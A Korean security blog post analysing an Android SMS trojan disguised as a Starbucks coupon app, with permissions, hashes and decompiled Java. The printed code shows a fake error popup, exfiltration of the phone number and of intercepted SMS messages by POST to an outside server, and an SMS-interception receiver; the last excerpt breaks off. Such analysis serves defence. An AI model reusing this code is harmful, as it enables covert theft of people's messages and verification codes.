Analysis

[Android Malware] 스타벅스 쿠폰 위장 악성 앱 (sb.apk) 분석

DarkSoul.Story 2013. 7. 1. 17:01
반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


스타벅스 쿠폰 APP으로 위장한 SMS 트로이 목마형 악성APP을 분석한 내용이다.


Filename:sb.apk 
MD5:b9cd27aad217b412b61448ac6976c807 
SHA-1:6591cdf92bc278f952460b703b537095dacdc803 
File Size:23727 Bytes
API Level:


2. 분석 내용


악성 APP이 설치되면, 아래와 같이 스타벅스 쿠폰이라는 아이콘이 생성된다. 




생성된 아이콘을 클릭하면, 아래와 같은 팝업 메시지를 출력해준다.




출력된 팝업 메시지는 가짜 오류 메시지이며, 사용자로 하여금 설치된 악성 APP을 종료시키기 위한 위장이다. 


해당 앱의 권한을 살펴보면 아래와 같으며 빨간색으로 표시된 권한이 악의적으로 사용될 수 있는 권한이다.


유저 권한 (User Permission : 악성 앱이 요구하는 권한 정보)

android.permission.INTERNET

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.SEND_SMS

android.permission.READ_PHONE_STATE

android.permission.MODIFY_PHONE_STATE

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.RECEIVE_SMS

android.permission.READ_SMS


악성 APP을 디컴파일한 후 소스파일을 살펴 보면 아래와 같은 클래스 구조로 이루어져있다.



앞서 나타난 팝업창의 내용은 com.catchspam의 main 클래스에 정의되어 있다.


public void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    setContentView(2130903040);

    startService(new Intent(this, catchservice.class));

    SharedPreferences.Editor localEditor = getSharedPreferences("smssendingtest", 0).edit();

    localEditor.putString("runYN", "실행");

    localEditor.commit();

    AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);

    localBuilder.setMessage("사용자 급증으로 시스템 과부하\n시스템 과부하로 나중에 이용 바랍니다.\n잠시 후에 다시 이용 바랍니다.\n죄송합니다.");

    localBuilder.setPositiveButton("확인", new DialogInterface.OnClickListener()

    {

      public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)

      {

        main.this.finish();

      }

    });

    localBuilder.show();

  }


악성 APP이 설치된 후, 팝업 메시지가 표시되는 동안  com.catchspam의 catchservice 클래스에서 getLine1Number()를 이용하여, 감염된 안드로이드 디바이스의 전화번호를 미리 정의한 URL로 전송한다.


public void sendingdata()

  {

    try

    {

      String str1 = ((TelephonyManager)getSystemService("phone")).getLine1Number();

      int i = str1.length();

      if (str1.substring(0, 3).equals("+82"))

        str1 = "0" + str1.substring(3, i);

      HttpURLConnection localHttpURLConnection = (HttpURLConnection)new URL("http://it7980.com/Android_SMS/installing.php").openConnection();

      localHttpURLConnection.setDefaultUseCaches(false);

      localHttpURLConnection.setConnectTimeout(3000);

      localHttpURLConnection.setDoInput(true);

      localHttpURLConnection.setDoOutput(true);

      localHttpURLConnection.setRequestMethod("POST");

      localHttpURLConnection.setRequestProperty("content-type", "application/x-www-form-urlencoded");

      StringBuffer localStringBuffer = new StringBuffer();

      localStringBuffer.append("mobile").append("=").append(str1);

      PrintWriter localPrintWriter = new PrintWriter(new OutputStreamWriter(localHttpURLConnection.getOutputStream(), "EUC-KR"));

      localPrintWriter.write(localStringBuffer.toString());

      localPrintWriter.flush();

      BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localHttpURLConnection.getInputStream(), "EUC-KR"));

      StringBuilder localStringBuilder = new StringBuilder();

      while (true)

      {

        String str2 = localBufferedReader.readLine();

        if (str2 == null)

          return;

        localStringBuilder.append(str2);

      }

    }

    catch (Exception localException)

    {

    }

  }


소스코드에서 확인된 URL의 IP 주소를 확인한 결과 홍콩에 서버를 두고 있으며, 분석하고 있는 현재 해당 서버로 접속은 불가능하다.



해당 APP이 설치되어 있는 동안 감염된 디바이스의 SMS를 모니터링을 한다. 도착한 SMS는 송신 장치의 전화번호와 SMS 내용을 EUC-KR로 인코딩하여 지정된 URL로 전송한다.


public void CheckJoin(Context paramContext, String paramString)
  {
    try
    {
      HttpURLConnection localHttpURLConnection = (HttpURLConnection)new URL("http://it7980.com/
Android_SMS/receiving.php").openConnection();
      localHttpURLConnection.setDefaultUseCaches(false);
      localHttpURLConnection.setDoInput(true);
      localHttpURLConnection.setDoOutput(true);
      localHttpURLConnection.setRequestMethod("POST");
      localHttpURLConnection.setRequestProperty("content-type", "application/x-www-form-
urlencoded");
      StringBuffer localStringBuffer = new StringBuffer();
      localStringBuffer.append("mobile").append("=").append(this.myNumber).append("&");
      localStringBuffer.append("revsms").append("=").append(paramString);
      PrintWriter localPrintWriter = new PrintWriter(new OutputStreamWriter(localHttpURL
Connection.getOutputStream(), "EUC-KR"));
      localPrintWriter.write(localStringBuffer.toString());
      localPrintWriter.flush();
      BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader
(localHttpURLConnection.getInputStream(), "EUC-KR"));
      StringBuilder localStringBuilder = new StringBuilder();
      while (true)
      {
        String str = localBufferedReader.readLine();
        if (str == null)
          return;
        localStringBuilder.append(str);
      }
    }
    catch (MalformedURLException localMalformedURLException)
    {
    }
    catch (IOException localIOException)
    {
    }
  }

 

아래 소스코드는 감염된 디바이스로 전송되는 SMS를 중간에서 가로채는 소스코드이다.


public void onReceive(Context paramContext, Intent paramIntent)
  {
    Object[] arrayOfObject2;
    SmsMessage[] arrayOfSmsMessage1;
    int k;
    if (paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED"))
    {
      this.myNumber = ((TelephonyManager)paramContext.getSystemService("phone")).
getLine1Number();
      int i = this.myNumber.length();
      if (this.myNumber.substring(0, 3).equals("+82"))
        this.myNumber = ("0" + this.myNumber.substring(3, i));
      Bundle localBundle = paramIntent.getExtras();
      if (localBundle != null)
      {
        Object[] arrayOfObject1 = (Object[])paramIntent.getExtras().get("pdus");
        this.arrayOfSmsMessage = new SmsMessage[arrayOfObject1.length];
        this.arrayOfSmsMessage[0] = SmsMessage.createFromPdu((byte[])arrayOfObject1[0]);
        this.arrayOfString = this.arrayOfSmsMessage[0].getOriginatingAddress().split(";");
        arrayOfObject2 = (Object[])localBundle.get("pdus");
        arrayOfSmsMessage1 = new SmsMessage[arrayOfObject2.length];
        k = 0;
        if (k < arrayOfObject2.length)
          break label307;
        if (!this.smstext.equals("실행"))
          break label341;
        SharedPreferences.Editor localEditor2 = paramContext.getSharedPreferences
("smssendingtest", 0).edit();
        localEditor2.putString("runYN", "실행");
        localEditor2.commit();
      }
    }





반응형